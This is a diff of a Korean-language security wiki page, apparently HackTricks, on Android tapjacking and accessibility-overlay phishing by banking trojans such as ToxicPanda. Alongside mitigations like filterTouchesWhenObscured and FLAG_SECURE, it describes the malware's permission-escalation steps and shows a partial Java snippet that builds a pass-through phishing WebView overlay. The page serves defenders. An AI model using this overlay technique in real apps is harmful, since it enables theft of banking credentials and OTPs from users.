#### `filterTouchesWhenObscured`
|
||||
|
||||
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되면, `View`의 창이 다른 가시적인 창에 의해 가려질 때 터치를 받지 않습니다.
|
||||
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되면, `View`는 다른 가시적인 창에 의해 창이 가려질 때 터치를 받지 않습니다.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
@ -56,7 +56,7 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
완화 방법은 상대적으로 간단합니다. 개발자는 다른 뷰에 의해 가려질 때 터치 이벤트를 수신하지 않도록 선택할 수 있습니다. [Android 개발자 참조](https://developer.android.com/reference/android/view/View#security)를 사용하여:
|
||||
|
||||
> 때때로 애플리케이션이 사용자의 완전한 지식과 동의 하에 작업이 수행되고 있음을 확인할 수 있는 것이 필수적입니다. 예를 들어 권한 요청을 승인하거나, 구매를 하거나, 광고를 클릭하는 경우입니다. 불행히도, 악성 애플리케이션은 사용자가 의도한 목적을 숨김으로써 이러한 작업을 수행하도록 속이려고 할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 대한 접근을 개선하기 위해 사용할 수 있는 터치 필터링 메커니즘을 제공합니다.
|
||||
> 때때로 애플리케이션이 사용자의 완전한 지식과 동의 하에 작업이 수행되고 있음을 확인할 수 있어야 하는 경우가 있습니다. 예를 들어 권한 요청을 승인하거나, 구매를 하거나, 광고를 클릭하는 경우입니다. 불행히도, 악성 애플리케이션은 사용자가 의도된 목적을 모르게 이러한 작업을 수행하도록 속이려고 할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 대한 접근을 개선하기 위해 사용할 수 있는 터치 필터링 메커니즘을 제공합니다.
|
||||
>
|
||||
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)를 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정합니다. 활성화되면 프레임워크는 뷰의 창이 다른 보이는 창에 의해 가려질 때 수신된 터치를 무시합니다. 결과적으로, 뷰의 창 위에 토스트, 대화 상자 또는 다른 창이 나타날 때 뷰는 터치를 수신하지 않습니다.
|
||||
|
||||
@ -64,12 +64,12 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
## Accessibility Overlay Phishing (Banking-Trojan Variant)
|
||||
|
||||
고전적인 Tapjacking 외에도 현대 Android 은행 악성코드 패밀리(예: **ToxicPanda**, BrasDex, Sova 등)는 **Accessibility Service**를 악용하여 합법적인 애플리케이션 위에 전체 화면 WebView **오버레이**를 배치하면서도 여전히 **사용자 입력을** 아래의 뷰로 전달할 수 있습니다. 이는 신뢰성을 극적으로 증가시키고 공격자가 자격 증명, OTP 또는 심지어 사기 거래를 자동화하여 훔칠 수 있게 합니다.
|
||||
고전적인 Tapjacking 외에도 현대 Android 은행 악성코드 패밀리(예: **ToxicPanda**, BrasDex, Sova 등)는 **Accessibility Service**를 악용하여 합법적인 애플리케이션 위에 전체 화면 WebView **오버레이**를 배치하면서도 여전히 **사용자 입력을** 아래의 뷰로 전달할 수 있습니다. 이는 신뢰성을 극적으로 증가시키고 공격자가 자격 증명, OTP 또는 심지어 사기 거래를 자동화할 수 있게 합니다.
|
||||
|
||||
### 작동 방식
|
||||
1. 악성 APK는 매우 민감한 `BIND_ACCESSIBILITY_SERVICE` 권한을 요청하며, 일반적으로 가짜 Google/Chrome/PDF 뷰어 대화 상자 뒤에 요청을 숨깁니다.
|
||||
2. 사용자가 서비스를 활성화하면, 악성코드는 추가적인 위험한 권한(`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …)을 부여하기 위해 필요한 탭을 프로그래밍적으로 시뮬레이션합니다.
|
||||
3. **WebView**가 생성되어 **`TYPE_ACCESSIBILITY_OVERLAY`** 창 유형을 사용하여 창 관리자에 추가됩니다. 오버레이는 완전히 불투명하거나 반투명으로 렌더링될 수 있으며, 원래의 터치가 여전히 백그라운드 활동에 전달되도록 *“통과”*로 플래그를 지정할 수 있습니다 (따라서 거래는 실제로 발생하지만 피해자는 피싱 양식만 봅니다).
|
||||
3. **WebView**가 생성되어 **`TYPE_ACCESSIBILITY_OVERLAY`** 창 유형을 사용하여 창 관리자에 추가됩니다. 오버레이는 완전히 불투명하거나 반투명으로 렌더링될 수 있으며, 원래의 터치가 여전히 백그라운드 활동에 전달되도록 *“통과”*로 플래그를 지정할 수 있습니다 (따라서 거래는 실제로 발생하지만 피해자는 피싱 양식만 보게 됩니다).
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
@ -98,7 +98,13 @@ wm.addView(phishingView, lp);
|
||||
- `setFilterTouchesWhenObscured(true)` 및 `FLAG_SECURE`와 결합합니다.
|
||||
* 시스템 강화:
|
||||
- *알 수 없는 출처에서 설치* 및 *신뢰할 수 없는 앱에 대한 접근성*을 비활성화합니다.
|
||||
- PlayProtect 및 최신 장치를 강제합니다.
|
||||
- PlayProtect 및 최신 장치를 강제 적용합니다.
|
||||
|
||||
Accessibility Services를 활용하여 전체 원격 장치 제어(예: PlayPraetor, SpyNote 등)에 대한 추가 세부정보는 다음을 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
accessibility-services-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
* [Bitsight – ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user